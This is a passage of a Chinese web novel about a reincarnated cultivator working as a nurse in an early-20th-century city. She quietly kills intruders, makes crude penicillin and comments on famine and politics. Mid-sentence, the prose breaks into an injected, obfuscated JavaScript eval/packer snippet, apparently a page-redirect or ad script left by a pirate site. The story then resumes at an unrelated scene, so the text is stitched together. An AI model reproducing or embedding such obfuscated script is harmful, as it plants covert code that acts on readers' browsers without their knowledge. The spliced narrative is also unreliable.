当年种下的灵茶树已经成了乱七八糟的野茶,还是可以喝的,就是口感差,她会加入平城买的花茶一起泡了喝。边喝茶边蒸饭边做海鲜。黄酒葱姜蒜大大方方地放,虽然食用油调料品不是那么丰富,但原汁原味没有任何化学添加剂,还有各种手工酱料,吃得人心花怒放。红烧鱼,烤生蚝,青菜加进去大蒜炒一炒,配上一碗大米饭。很可以! 全部吃完,看看表,修炼一个小时。 然后她搬出来武.器收藏,比对着前段时间托房东太太的儿子买回来的木仓跟子.弹,最终还是拿了起码再过二十年才出品的一款,带消音抑制器。试了两发,能用,但还是挺响的,绝对会惊醒一堆人。然后又将上辈子做的短剑拿出来。这些就不用试了,她三天两头地练。 接着就是连发弓。这个弓更接近弩,箭也是专门做的配套短箭,一百米以内,连发十箭。上面的符术已经没用,但材料绝对都是好的,试了一回,可以做到十米穿喉。回到屋中,检查了下门窗,没有任何痕迹。然后大大方方开了会儿电灯看书。 没动静。 关灯,拉窗帘,再穿上棉衣裤和棉鞋,去院子里沿着围墙晃荡,还找出来一架已经有些年久失修的梯子。 九点多,一楼二楼的灯都熄了,只有楼道里有一盏小灯。 十点半十一点的时候,墙外有响动。 苏茜一直在调息,在有人找墙上事先打的洞时就停住,移到边上的树后,将弓端起,短刀则别在腰间。这个世界修不出修为、用不了神识,但可以做到健康强健、耳聪目明。 跳下来仨,墙外肯定还有人。但进来就这三个。 一人一箭。最后一个人喉咙里有声音,但被苏茜扑上去补了一刀。全部先扔岛上再说。 一切打斗不可能完全无声。可即使夜深人静,附近也不是一点声音也没有,鸟儿夜啼,风吹叶落,偶然路过的车声和人声。所以这点声音没有惊动房子里的人,外面放风的更以为是自家人搞出来的动静,还在琢磨是不是已经跳窗进二楼还是一楼的,然后就被踩在梯子上的人一箭穿胸。 梯子撑不住有些散架,幸好苏茜跳得及时,不然丢脸丢大发了。 从院门出去,装作听到不对劲出来察看,然后抬脚间将尸.体扔岛上——活人活物扔不了。路面上不多的血迹用树叶扒拉几下就不管了,只回来翻土,将院里地面上的脚印、梯子印和血迹都掩盖掉,回岛上先把尸.体扒了扔海里,箭支拔出来清洗晾干,然后回房间睡觉。 六点的闹钟,起来要修炼半小时再去医院吃早饭。入室劫匪的遗物最早也是今晚才有空处理。 15.当年的护士(二) “早,苏茜护士。” “早,莱文医生。” “我看了昨天的病历,你处理得很正确。” “谢谢!” “……” “……” 报纸上说西国很多人高热甚至咳血而死,结果其他国家也相继出现疫病大流行。几个医生在早餐桌上聊起了这事,然后延伸到细菌和病毒的辨别,一直讨论到办公室。反正现在无法检测白细胞,更勿论是哪一型流感了。上世纪末,本地一支教众打砸外籍医院、认为西医就是杀人,十年后才算正名,二十年后大城市和周边开始信任西医,但人们对西药更感兴趣。 最终,战争结束了。听说战火、饥饿和疫病让交战双方都无力继续,尤其是德国那里。反正外文报上都是谈判的消息,华语报则都是新任“老”总.统的生平履历和文章言论——她的文言文功底已经好了很多,但看起来依旧很吃力。反正各省没有出现你一上台我就出兵的说法,所以现在还是安全的。 苏茜当然没去打听去美国的途径费用。近代全球最著名的歧视案例——排华法案在大萧条时不仅达到一个小高峰还被政客们恶意引导出种.族冲突,也是最后几个给予女性选举权的系统性歧视的所谓文明国度,因此她这张黄种脸,宁愿去港城也不会考虑美国。至于狮城,抱歉,可能到她老死的时候才会把河水环境搞干净。而欧洲,二战后生活物资还配给呢,为了几根骆驼香烟能打起来的那种。在扶桑投降之前,她还是在家乡这片土地上当护士吧,大不了去战地医院工作! “普世欢腾,救主下降,大地接她的君王……” 圣诞节值班的苏茜,在食堂里用各种语唱各类圣诗,除了华语——她是真的不会。倒是有些“古老”的歌,她还记得一些歌词,但问题是现在这些歌还没有华语版,根本没法唱。所以,连盖尔语版的旧日时光,以及意语的重回索伦托。 “真好听,是意语吗?” “是的。索伦托是南部的一个海滨小镇,靠近那不勒斯。”她两辈子前去过,“光听歌词的话会觉得那里一定平静美丽。” “完全可以想象。”反正听不懂的肯定都是好的。 苏茜会一点钢琴,那是为了唱圣诗胡乱学的,所以唱歌都是清唱,哪怕是走调其他人也不知道。何况她这辈子的嗓音条件还行,配合出名优美的旋律,不可能太难听。 医护们都是外籍或是教会学校毕业的华籍,对圣诗之类接受良好。 可惜苏茜开的头让后面的人有些难以为继,大家勉强也弹唱几首歌之后,吃几块肉、碰个咖啡杯就散了——医院里绝不会出现喝酒误事的情况。 病人们大部分没有过圣诞节的习惯,但是他们很欢迎躺着无聊的时候听歌。于是苏茜在有病人的几个病房里给大家唱特意选的曲调优美的意语圣诗和民歌——听不懂就对了——第二天受到全体病人或家属的表扬。 这个连收音机都还没有的年代,娱乐生活只有舞厅、戏园子和无声电影——没有一样能戳中苏茜的兴趣,何况她真的没时间。看书、修炼和做饭吃就是睡眠之外的所有活动了。 房间里没有通暖气,用暖炉其实也还行,自来水的供应比公共水井里打水方便太多,所以卫生间里有浴缸和抽水马桶下水道以及两盏电灯和一个功率不大的插头、不另外算水电费,算是城里最先进的住所了,因此房租得花掉苏茜护士工资的三成。 哦,她今年拿到一笔假日夜班津贴,能付两个月的房租,不错不错。虽然她压根不在乎钱的事情,当上辈子挣的金山是假的啊!那真就是大把的金元。但她现在需要一个明面上的职业和正式收入,来应付这个时代对女性的不友好,包括比草木灰要强些的卫生脱脂棉和围兜布。至于她上上辈子习惯的卫生用品,搞不好要等到自己更年期的时候才问世。 无视路边乞丐,踩着雪回住处,靴子在清晨的积雪上发出轻微响声。这个地段出现的乞丐,有两成可能有问题。上次的入室劫匪全军覆没后,院子里可能没有新的闯入者——她经常不在屋子里包括夜晚,所以只能确定自己的院门、屋子大门和自己的房门没有强行闯入的痕迹。不过这也不能代表没法子混进来,所以她对自己的门窗都做了小机关。而且她如果睡在屋里、枕头底下是两柄飞刀,如果从岛上回屋,肯定是回关上门的卫生间并且手里有刀或剑。 墙边有脚印,不是皮鞋或房子里的人习惯穿的各类鞋。她停了片刻,继续回屋。 有人开过她的房门。 但屋子里没有钱或是任何值钱的小物件,全部是书。书有人翻动过。 她不能肯定是邻居们尤其是房东太太还是外来者。但她回来之后还碰到房东太太打过招呼,对方没有找她的意思——她今年的房租都付掉了,还送了一罐红茶。 所以,是拿撬锁工具的闯入者。 希望对方身上有战利品,别像上次那样除了几柄材质很差的匕.首和四块现金,啥都没有! 她先回岛上做饭修炼,并且睡了一觉。下午在屋里的炉子上热了下鸡排盖浇饭,吃饱喝足,没开灯,但是撤回门窗上的机关,在夜色中披着披风坐在床上打坐。 晚上十一点多,有人撬门进来,正暗喜可能得手的时候,一根金属带勒住他的脖子,生生将他勒死。 苏茜轻轻掩上门——这种老式的锁即使反锁也没啥用处——将尸.体扔在岛上,然后换上对方的皮鞋,外罩大衣和兜帽,无声无息地出门,走到巷子另一头的街道上,然后换上自己的鞋子回住处。 这小子今年从停战的欧洲跑来,是一楼邻居家的亲戚,刚来华不久,没有工作还啥都敢沾,连房东太太都不太满意。也算是为民除害了! 好歹搜出来一个怀表和二十块美钞,减轻一点没得睡好觉的郁闷。然后将其他没用的东西扔海里去。 五年里干掉两拨入室,这治安也是够呛,堪比当初号称全美暴力犯罪最多的城市,毕竟后者其实大部分都是突然起意的,而前者完完全全就是踩好点的那种。 她记得还有个乞丐盯过自己。每天真正睡觉的时候要么在医院值班室——医院的安全性高得多——要么在岛上,屋子里什么东西都没放。 但楼上房东太太家失窃了! “幸好!我的钱都在银行里,支票本也没有签过名。我丢了个首饰盒,但是结婚戒指和一条贵重项链都还在。”房东太太心疼得昏倒,还差点一病不起,但她也清楚,自家首饰盒里的一半是赝品,一整个的大概不到两百美刀。 可是!两百啊!现在能值三百多元,算得上大案了。 所以连警犬都来了。 “上个月吧,我连续好几天在靠近院门的地方看见一个小乞丐,大概十到十二岁的样子,女孩,应该是女孩,外表看起来像男孩。她似乎没有向我讨东西的意思,我只是惊讶对方是女孩,也没有说话留意。不知道这算不算异常。昨天晚上,睡觉前,一直到近九点的时候,我没有听到特别的响动。院门也没有开关的声音。” 本地的警察上门一个个笔录算是尽到责任。 然后就没有然后了。 这种盗窃在任何国家都有。所以全楼的人都开始在防盗和贵重物品保存上做文章。 “苏茜,你需要一起合租银行保险箱吗?”楼上的邻居来问。大家被失窃的事情吓得不轻,因为偷东西的人是在房东太太睡着的时候入室盗窃的,而之前还失踪过一个不受欢迎的人,搞不好两者有关联!也因此失踪者的亲属一句话也没多说,甚至已经不再打听亲戚的下落,所有人都觉得那个不学好的家伙已经加入了本地犯罪集团。 “我只有手表值大概二十块,没有首饰,身边最多五美刀现金,其他都在银行。房间里也就是纺织品和书籍,连金笔也没有。” 金属货币放山洞里,花旗银行里的纸钞折合两百多美刀。不过她考虑在大萧条之前将存款都取出来。说实话,如果能在大萧条前在纽约投机一把就好了,但她又不是什么权贵,一点也不想给关在隔离岛上被当成猪那样研究,因此哪怕是医院里有允许华裔医护自费赴美进修的机会她也没争取。 不过她参加了好几场海外护士注册考试,拿到好几个国家的护士证,得拿蜡纸木盒一层层封起来。颇为讽刺的是没有本国的证,因为本地只把女护士当作照顾女眷婴幼的医女,如果不是外国医院的存在和讲英语的习惯,不少人甚至将女护士归为女佣。 * * * 天气热了,人的情绪也开始热烈起来。 二楼邻居家的小姐恋爱了,对方当然是“老乡”。 而人们对欧洲的关注也空前高涨,每天都有大学生甚至中学生在散发单子,呼吁大家表达出收回殖民租界的诉求。 苏茜不支持,也不反对。表达有什么用?讲道理的范围就是炮.弹的射程,连土炮也造不出来、军官全部是境外培养导致见到老师不敢放一木仓的玩意,诉个球! 至于上街的男女学生们,她只能表示同情。男学生只有直面木仓炮才能明白什么叫话语权,女学生必须通过流血流汗才能争取到平等权利。自己想要的,永远只能自己去争取。 五月四号,学生们罢课上街,顺便将一个汉奸家给砸了。 苏茜他们医院距离运动场地很近,但没有接到什么伤亡。只是正常病人和产妇,当然肺病患者是具有传染性的,这已是医护的共识,所以肺病和产房等是从不同的通道进出。连护士也是去过肺病病房的起码两天都不去接触产妇婴儿。然后因为一名护士病倒,苏茜就被调去目前大家认为具有传染性的病房,当然工资也加了点。 就现在的医药水平,在没有青霉素和磺胺等抗菌药物甚至彻底消毒针头的前提下,苏茜并不认为护士得了肺结核能有啥好下场,所以她是唯一一个自费买口罩的人——现代的口罩都作为垃圾处理掉了。 可是,在无法修炼出修为的情况下,没有青霉素确实是件相当危险的事。她开始在岛上做试验。 青霉素的土制法乃至工具她收集了保存着的,就为了不时之需,甚至还在岛上做成功过。但这辈子还没试过,光是找发青的馒头就得自己上手,结果就是前前后后花了一个多月时间,做出来鸡吃了没有被杂质毒死、注射进这只鸡体内也没有出问题的青霉素。 为了测试,她给自己做了皮试,不过敏。 但是,问题来了:如果自己不幸染上肺结核或其他致死的细菌性传染病比如杆菌鼠疫,要注射多少剂量才能救命?这十几毫升的透明液体要稀释吗?要提纯吗?分多少次注射? 不,应该是要提纯。 话说,提纯晾干是需要25摄氏度吧。幸好山洞里的温度湿度和空气质量都比较合适,不然房间里华氏,不,摄氏30度的温度对药物而言偏高了。 阳历六月的天气,白天很热,早晚凉快。苏茜终于折腾出青霉素注射液,片剂是不用想了。然后就没有然后了。她无法确定安全有效的浓度,也没有冰箱,准确地说是很久很久之前的冰箱只能扔掉,现在是没有条件长时间保存青霉素注射液的,只能准备工具再把可以发霉的食物用玻璃罐装起来,放着长期发霉……其他试用时发现已经报废的医疗器械也只能扔。 可怜的海,因为现实里没地方扔这种太过“先进”的东西而成了垃圾场。 “……我也不知道那炉子烧什么,但肯定是油。所以煤油和汽油都给我打一罐吧。”她也有煤油炉,但主要就是想试验能不能用汽油发电机。这玩意她可是费了老大的劲清洁和封存的。 “……好的,但是,小姐,您至少要买一升。” “我知道。”苏茜摸出五银元二十铜币各买了一罐。目前银元的购买力还可以,就是金银兑换的比例,不同的时间地点人员可以差三倍,因此她都是直接去外国银行,起码那里贵金属纯度或纸钞真伪有保障,然后再存美刀或者换银元以及其他贵金属货币,比如没有降低白银含量的便士银币或是金法郎。她不戴任何首饰,也不穿值钱的衣服,一头自己剪的短发,每天不是护士服就是类似修女服的长袖长裙,天冷的话就是风衣、夹棉衣和棉衣,雨雪天一把超级大的素面油纸伞,要不是脚上是皮鞋或皮靴,整一个穷人。 煤油店老板给了她两个罐子。“用完拿这罐子来加。” “好的,谢谢。”苏茜提着两个灌满的罐子回到等着的人力车上。 隔天休息,她将汽油分别倒入小型发电机和便携发电机,煤油则倒进小户外炉子。 灯亮了! 可惜,现在没有冰箱这玩意,电灯进入很多家庭,有钱的还能装电话就已经很“现代”了,家用冰箱用的压缩机和氟利昂液估计还没有出现。 更别提青霉素。 苏茜将戴了一上午的口罩放入小铁壶里烧着的开水中,小铁壶则是放在小泥炉上,用一小块煤块烧着。然后拿了晒干的纱布口罩戴上。 “苏茜护士,我发现你把口罩放在水里要烧一会?” “是的,开水滚半个小时。虽然口罩用不了几次就坏了,但我认为这样会杀死大部分的细菌。当然不是全部,但总比什么都不做要好。”现在是纱布口罩!没有熔喷布,最外层甚至连防水功能都没有,实际上防护不了什么。 “哦!细菌。不过,还有病毒呢?!开水应该可以杀死吧?” “病毒太小了,口罩不能阻止病毒,只能阻挡一些细菌,不是所有的细菌。但是,戴了口罩总比没有戴好,不然如果病人是肺结核,护士也有可能染上。甚至是感冒病人也会传染给护士的,比如西国的那种流行感冒发热,口罩也是防不了的。只能靠我们自身的免疫力才能不死亡。” “……”好可怕!聊天的护士脸色全变了。不过她们说不出口罩无用的话,因为苏茜几乎是唯一一位工作以来从来没有病倒的护士。 “其实我还配合草药煮水喝来预防传染病,尤其是感冒。另外,着凉以后喝些草药水也有很好的作用。” “啊,能卖给我吗?” “我写出来,你们可以去草药店铺里买。当然我也可以代你们去买。” “哦!拜托帮我买吧,我给你钱,还有坐车的钱!我不认识那些草药,我担心对方不理解我说的是什么。”确切的说,她不知道对方是不是因为她不是华裔而卖给她其他的东西来冒充,这种事实在是太多了,普通的东西还行,药物这事不行啊! “好啊,我去买的时候给带你的。我会把配方、剂量和价格写下来,不用另外给我坐车的钱。” “啊,苏茜,也帮我买吧!这个需要每天喝吗?” “不,是接触的病人可能有传染性的时候喝。还有着凉喝的是性质完全不同的另一种。我会写好标签的。” “太感激了!麻烦你多买些,我们可以在休息室里学着煮。”草药学是非常古老的学问,医生们也经常用草药提取物。但大家对本地的草药都不怎么了解,而本地医生拒绝向徒弟和家属之外的人传授知识;医学书籍又没有几本翻译本,至于说原文……没人看得懂,包括苏茜本尊。 “没问题!”苏茜对中医诊脉一窍不通,但有收集过不少药方,天气转冷后也时不时煮药茶喝。 * * * “我以为会难以下咽。” “我加了几种味道比较好的原料,可能不利于药效,但起码喝起来不恶心,可以作为健康饮料。”罗汉果、黄精、蜜炙甘草等都是性价比挺高的调味剂,也跟大部分药物不冲突,她常备。 “确实呢!”灌下两杯茶水,今天下午喝的水也差不多了,上个厕所,回去干活。 两杯健康草药水也就花费一个十文铜币,这个消费水平完全可以接受!连医生们没事也会喝一杯,起码比汽水便宜健康。苏茜建议让食堂去采购,然后煮了放在饮料柜那里,连病人家属都会跑来买。尤其是苏茜要求杯子用自己的最好,如果提供的杯子就得用滚开的水煮半小时。不得不说,医护人员染病的数量确实少了一点——这个很难说是餐具沸水消毒还是喝草药茶的作用更大,反正苏茜自己是从来不用食堂里的杯碗刀叉直接吃的,盘子有时倒是会用一下。着凉或是传染上感冒,转成肺炎会死人的。她即使每天认真修炼习武,也就是强身健体,不可能真的啥都不惧。 下班后,苏茜在食堂吃了顿还算健康的晚餐才回去。夏季晚上快八点的时候天已经黑了,这一小片区域没什么杂院棚户,连佣人都是比较体面的。不少人也才坐车人力车回家,不少人出去应酬或约会,倒是这个时间点很少有小孩出来,更不会一群群衣衫不整地坐躺在马路边乘凉聊天。 苏茜拿着要清洗的护士服,身上亚麻色修女风长裙,平底凉皮鞋,素色纱头巾,老气但个性地踩着六亲不认、低头看路的步伐回去。 “苏茜护士。回家了?” “是的,海伦女士。你出门吃饭吗?” “是的。这个时间不太热不是吗?” “是啊,白天看到阳光都会头晕。” 两个人随口说了几句。对方的车到了,汽车。 苏茜礼貌道别,回岛上洗被套床单,这是项大工程。明天休假,期望岛上有太阳吧!如果下雨的话,还是得在现实里晾干。住的房子什么都好,但就是大家都不习惯在户外晾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且,好糟糕的手感!不管是装弹还是后座。不过二十米的靶子炸开花,五十米的也挺“好看”,说明威力不错。配得上一小箱子.弹所花出去的金锭——上上辈子这些也就值个一百美刀,还是通货膨胀后的币值。现在也得一百多,可见中间商们到底赚了多少钱。 练好木仓去赶海,捕鱼捞虾凿牡蛎捡蛏子,弄回来三桶带海水的海鲜。 苏茜打开一个云腿罐头,再炖上宰杀好的童子鸡以及土豆,加黄酒、米酒、去年自酿的葡萄酒和几个小辣椒。 然后去修炼。 一个多小时候后,练功结束,捞出一半汤料,再加蔬菜面条在小炉子上煮一下当午饭。其他的继续最小火炖到晚上当晚饭吃。 回到屋子里正是最热的夏日午后,前院的桦树遮挡了些阳光,让屋子不是热得如火炉。苏茜看了眼报箱,取出报纸放到小小的公共阅读角,还从走到附近的小贩手里买到几样水果。 有新鲜水果就不用买高价水果罐头了。 拿岛上清洗吃了,继续看书,有以前的积累,也有现在买的,并且尽量都背下来。纸张是会坏掉的,学到的东西目前看起来是不会坏的。 知识终归是有用的,即使是跳大神的知识,只要是对的、学到了都有好处。 比如在食堂简单饭前祷告的时候加入金光咒。虽然会将全天的修炼成果一扫而空,但是吧,觉得神清气爽! “苏茜护士真是虔诚。”留学归来的华籍医生叹了一句。这在没有出过国、也没有加入教堂的华籍女子里很少见。 “她以前就是见习修女,在教会诊所里行善。但是小教堂因为战争关闭了,修女们回意国去了,就留下她一个人,被推荐去护士学校学习。”苏茜的经历只要是稍微一打听就能知道,尤其是外籍医护基本都有所耳闻。“所以她除了英语还会意语和西语,法语也懂一点。” “真厉害!没有留学就能达到这样的水平。”尤其是工作很麻利,从不嫌累,对待各国病人也很有耐心,从不明示暗示要求加津贴。 “对,她是我们中最吃苦耐劳的,也值得信赖。”有华籍女工的忍耐,有外籍女性的凌厉,最重要的是她值的夜班是最多的,收入却不那么多,从不在休假时间计算上搞事情,还会用修女式的端庄替姑娘们挡下骚扰,让其他护士都有些不好意思。最让人愉快的是,苏茜搞出来的健康草药茶和她自己做的甜葡萄酒便宜得让所有不是很富裕的护士都能接受。 新来的医生点点头,能得到外籍护士一致好评的华籍护士很稀罕。 “这个伤员的弹片已经取出来了。” “麻醉还有效的话直接缝合吧。” “好的,医生。” “……” “……” 在没有专业麻醉医生的情况下,护士简直是全才。起码苏茜时这样觉得的。 能送来外国医院的都是有点钱或地位的,哪怕在战争期间。哦,又打起来了,这次距离平城非常近,不过战争的结果是这里的军队赢了,但大王又换人了…… 时值夏季,受伤感染简直是必然,能不能活命完全靠天意。 苏茜已经帮着抬了六具尸.体了——抬尸前她还会给一个极简的祷告。“求你收纳亡者,使他得到安息。愿众人都能在天国重逢,永享你的福乐。安息吧。” 意语腔的拉丁语。没人听得懂,但人人都懂她的十字手势,甚至记住了RIP。以至于其他华籍护士和工人也会用这三个字母配上合十的手势来表达一下哀悼,还有念佛号或道号的……用什么手势语言并不重要,只要心意到了就行。 唯一值得人安慰的是,现任大王也是掌兵的,为这些受伤军官付了合理的手术费和住院费。 “护士长,我这三天休假。要好好休息。” “哦,快走快走。你已经住在医院半个月了!”没有哪个护士像她这样连续加班加点,挖子.弹抬尸.体换床单什么都做的。真没有!“你现在就可以下班了。” “好的,谢谢!” …… 小贩整车的葡萄都让苏茜买下,因此车子是直接送到家,卸货到房门口再走的。苏茜给每家都送了一盘洗好、挑拣过的葡萄,一部分在屋子里制作,大部分都放到岛上制作葡萄酒。 她陆续买了好几车的葡萄和足足三十斤□□糖,大玻璃罐子和瓶子也多买了有好几车,蒸馏水设备也多买了一套。她自制的葡萄酒颜色偏淡、不算太甜,不光喝了美容,还可以做菜。光她自己一年就能消耗掉几十斤。 山洞里能摆放罐子的地方都塞满了。做酒的水是蒸馏水,风味是别想,但起码卫生安全! 连着下了三场雨,平城入秋。早晚的时候,苏茜开始穿上找裁缝新做的绒料外套。这个绒可比上上辈子买的、上辈子已经扔掉了的绒质量好得多,当然价格也高得多,一长一短两件加起来超过二十五块。 现在的毛衣价格也很可以,一言难尽的短款和单一的颜色居然要两块多,带着奇奇怪怪装饰的往往要五到十块甚至更高,定制就别指望了,花样更是没戏,因为没有专职织工、没人会织!所有苏茜无语地买了两件毛衣开衫和两条围巾,加起来十块,差不多十顿双人份铜锅涮羊肉。但如果叫她买个两块钱的羊毛线去织,又太浪费时间。唯一让人满意的是,现在的羊毛线是真羊毛,因为化纤比羊毛更贵,看进口尼龙袜和本地羊毛袜的价格就知道,还有长筒丝袜更是贵到离谱。 倒是本地产的真丝和丝棉的价格让人“惊喜”,一些丝质特产更是“便宜”到令人流泪,让她一时高兴买了三个金元,不,是小黄鱼,也不是,就是称重量的三个金锞子的素面桑蚕丝制品,一大包她只能坐车带回来。至于羊绒……反正这一片的店没找到。倒是毛裤和毛袜,还是沙俄革命前进口的,穿到现在仍然很好;至于秋裤、棉毛裤、线裤这种,暂时没看到有卖。 秋季的落叶是院子里的麻烦,不过苏茜“顺手”都给解决了。一簸箕一簸箕的落叶加上夜间捡的牲口粪便,做出来的营养土只够用来改善又被岛上雨水冲刷得有些贫瘠的土地。地里还种着野茶。 当年那些都是好灵茶呢!现在也就是不错的炒青。 而火灵木她舍不得砍,继续用营养土、鸡蛋壳等等养着,即使这些比当年的火灵木“退步”了不知道多少,可仍然比普通木头耐烧且坚硬,非钢锯钢斧和半小时的力气活搞不定一根树干。 很久以前的灵谷已经没用处了,结的谷子根本没法完全脱壳更不能吃,只得全部拔了烧成灰给树木改善土壤。 至于大棚蔬果,她真的没有精力去弄,有那空闲还不如认真修炼加罐头水果瓶装牛奶来得有效果。她半个小山洞的金元根本看不到减少的迹象。 16.当年的护士(三) “您就只觉得夏天特别热,是吧?您那是不知道,北边和西边大片大片的,几个月都没下雨!地都干得裂开了!根本没打一粒粮!您要走出这片富贵街区,到外头去,多少要饭的卖儿卖女的,卖不了就往没水的枯井里扔,连枯井都扔满了娃子!” “所以一句话就是涨价,是吧?!” “是啊!我也没便宜面粉卖您,我的上家现在手头都收不到面粉,卖一包少一包。米倒是还有一些,但不少都被拉去赈灾,还有给当兵的吃。您是不知道呀,当兵的一旦饿起来那什么都敢干……” 所以面粉涨了三倍,大米涨了一倍。连土豆红薯包谷米都涨了大半。与粮食有关的其他包括肉基本上都涨了两到五倍。连食堂的菜价也不得不翻倍。 “苏茜护士,我看到你从国际赈灾会那里出来?你捐了多少?” “我把身上的十个银币都捐了。剩下的几个铜币是两天的伙食费。” “十个?!”近两周的薪水吧?她觉得捐了两块已经很给面子了。哦,苏茜是华籍,所以感同身受更多些吧。 “是的。我还有一些不太好的棉布和冬衣,我打算也都捐出去。”事实上她打算在捐款箱收走前扔下一叠金元,两头用银元遮挡。粮食就算了,她也没有多少可捐。 “哦,真是好主意,我找找有没有不穿又有些舍不得扔的衣服。” “……” “……” 苏茜习惯了储存物资,所以她的大米和面粉始终保持能让自己吃一年半的份量,更不会在涨价有短缺的时候去抢购粮食。她只是在不同的店将还没开始大规模涨价的水果、牛奶、肉类罐头各买了好几箱。这是囤货,不是抢别人的救命粮。事实上即使企业捐了自家产品赈灾,也与她的囤货行为没有半点关系。 嗯,棉花产地似乎没有绝产,所以她又做了里外两身以及铺盖两套,外加煤炭木炭汽油煤油和大小炉子,花掉的跟自己捐掉的差不多了。煤油炉子比汽油炉子的安全性似乎好一点点的样子。 邻居们还以为她大批量采购了分销给外籍同事,因为他们看见她经常拎着比以往大不少的袋子去上班。 是的,她确实用批发价买了罐头然后带给不宽裕的护士同事们。 包括葡萄酒。 …… “我的检测是这酒品质不错,至少喝了不会拉肚子。”检验员忍不住将剩下的一口闷了,呃,这是葡萄酒吗?怎么这么难喝! “哦,现在的口感很糟,得过滤后再放几个月才能喝。我用的是开水煮过半小时的纱布,晾干后立刻过滤。” “做好了能卖给我一些吗?” “当然可以!大概半升酒装在开水消毒过的瓶子里,软木塞和蜡封口,只要五十美分或者一块二。你知道,葡萄、冰糖、罐子、水和瓶子都有成本。我用的水是蒸馏水,不敢用户外井水。” “非常好,非常好!非常健康!能给我十瓶吗?”还很便宜!要知道,美国禁酒了,这位美国来的检验员来华前就断了便宜酒的来源,来华后本地产的普通葡萄酒又不便宜。 “可以。但是要半年后才能好。其实最好是明年圣诞的时候。到时候我会先拿给你试喝。”检验员想掏钱,被苏茜阻止了。圣诞前,苏茜拿了发酵好的酒液去医院实验室检验,不管是显微镜还是其他仪器——苏茜看来粗糙原始得可以,比她当年检测有机蔬果还要简陋——都显示质量没有问题。 “我都要!不管半年后还是一年后的,嘿嘿。”即使口感不佳,也是酒啊,不会喝死人的便宜普通酒!“外面卖的葡萄酒太贵了,土豆酒更贵。你知道的,美国禁酒甚至还抬升了其他地方的酒价。” “是的,除了走私犯子没人得到好处。”还有史上最大规模的工业酒精中毒死亡人数。北美政府在工业酒精里加入有毒物质防止人们酗酒,结果造成成千上万的“不明原因”中毒死亡案件,这真是太有创意了! “我邻居是教师,已经四个月没有拿到薪水了。我建议他罢工,但是他们还在犹豫。” “我怎么听说他们不愿意罢工是因为不想影响罗素,还有几位著名学者的演讲?” “……” “……” 院里的医护大多住在这片区域,而病患们也都是有头脸和有点文化的人,所以大家的消息似乎都挺灵通的样子。 不过苏茜听到了好几个学说和主义,以及李先生、李四光等人的大名。就成就贡献而言,后者绝对可以说是科学实践的先驱,两百多年前她还为了翻译一份专业稿件,看了好几篇这位华籍先驱的传记甚至课件内容文献。犹记得还有一位陈先生,他的两个儿子都遇难了,曾经的她还去以两位永远的青年人命名的街道口献过花,当时是结结实实哭了一回的。 嗯,似乎是快五百年前的事了,第一辈的自己,真实愚蠢热血地为了别人、一群称不上好人的家伙搭上了自己的生命……蠢得死掉了。之后的自己就再也没有干过这样的蠢事了! 不同国籍的人讨论问题的角度不同,有的只关注自己同胞大拿在平城受到的待遇和欢呼,有的就关心照片上的人长什么样,还有的喜欢收集各种学说和代表人物好吹牛。除了亲戚朋友邻居,平城的大学与师生们如何跟他们这些医护没半点关系。什么演讲礼堂,她好像啥时候当影视资源参观过……就一没空调的昏暗屋子,如果不是几个名人的名字放那里,她看都懒得看。 既然她改变不了什么——世界意识也不允许她改什么——那就认真活下去! 至少她的情况比北边的邻居好点。在又一道冷空气的拜访下,平城的空气都仿佛结了冰。摄氏零下十度。没下雪。 更让人发抖的是饥荒。看着外文报纸上俄国那里人相食。各国争相报道这个可怕的场面,仿佛别人过得不好就能抵消欧洲至今还有大量的人冻饿而死:光是“区区感冒”死的人就比俄国多,有啥可高兴的?!哦,高高兴兴跑去救济赈灾。见鬼的居然有地方头儿也要掺和,于是华文报都在骂,当然外文报都在赞美。不同的说法在同一天收到真的挺有意思。 想起来了,北边邻国活活饿死了几百万人口。嗯,跟华国时不时经历的也差不多,唯一不同的是对方没有自然灾害,纯粹的人为灾难,这就很那啥了。 可再过一代人的时间,他们,和自己这片土地,以及全世界一半的地区和大半的人口,都会迎来更猛的人为灾难——如果自己所在的世界与收集的世界历史里的那个世界相同的话。只不过有些事件的细节确实不太一样,很难说是记载错了还是纯粹的平行世界? 苏茜把手伸到暖炉上方烤了会儿,然后继续去工作。不少欧洲医生因为母国缓过气来打算回去,还有不少医生尤其是美国那里的打算来远东碰碰运气。 “这个‘运动’,可以理解为一部分受过良好教育的人们终于意识到自己应该是个独立的国家,而不是几千年来为君王、为家族却从来没有国家的概念……人们尤其是女性应该摆脱千年来的落后愚蠢。你们也知道大部分华籍仍然受到过去的影响,比如女性裹小脚、不准由男性医生治病,家庭中男性为了谋夺寡妇财产而将寡妇淹死、孤儿卖掉——虽然各国为了钱杀死妻子的事情很多,但这里,家族可以决定一个女性或孩子的财产归属甚至生命,而且大家习以为常。” “国家的概念?” “对。以前的华人没有国家、民族的概念。他们向官员纳税,向君王效忠,为家族、团体的利益而相互斗争。民众对割据毫无异议,只要税收不至于让所有人都饿死,也不要将每个青壮年男子都拉去打仗,文盲民众并不在乎国家和总.统这类事情。顺便说一句,大部分民众不识字,一半左右的人从没离开过出生地五十英里、除了饥荒乞讨的时候。”苏茜的理念受几百年经历的影响,简单的解释就能让新来的外籍医护很快理解,而不是被一堆词不达意的翻译文字搞得莫名其妙。连华籍医护都明白了。 “确实,我们以前从来不说国家,只说君主,朝廷。我小的时候还留过辫子,那种后面长辫子、前面剃光的男士发型,这就是向异族君主效忠的意思。”一位祖上是官员、自己留过学的医生点头。党.争误国导致蛮.夷入主中原这种事就不说了,丢了十八辈祖宗的脸。 “我们国家的很多杂志仍然将留辫子的男人作为华籍的标志。” “我知道。看到过。那时我已经剪掉辫子了,仍然感到难堪。” 苏茜心里翻白眼,不过懒得多说什么。这位留洋大夫可是有29岁的正房太太和一房16岁的姨太太,还先进文化个屁!谢天谢地她是位见习修女,哪怕一直无法“转正”,那也是正经洗礼过的,不然搞不好这种货色还会“施舍”她当个三房什么的! 等天气暖和到早上可以只穿修女款单风衣的时候,南方又立了位总.统。哦,孙先生,第三次当总.统了。 苏茜看着还算年轻的孙先生的照片,许久才放下报纸。 可惜了,没有自己的理念武装起来的武装,终究长不了。只是徒增伤亡、饿殍和后世的唏嘘。 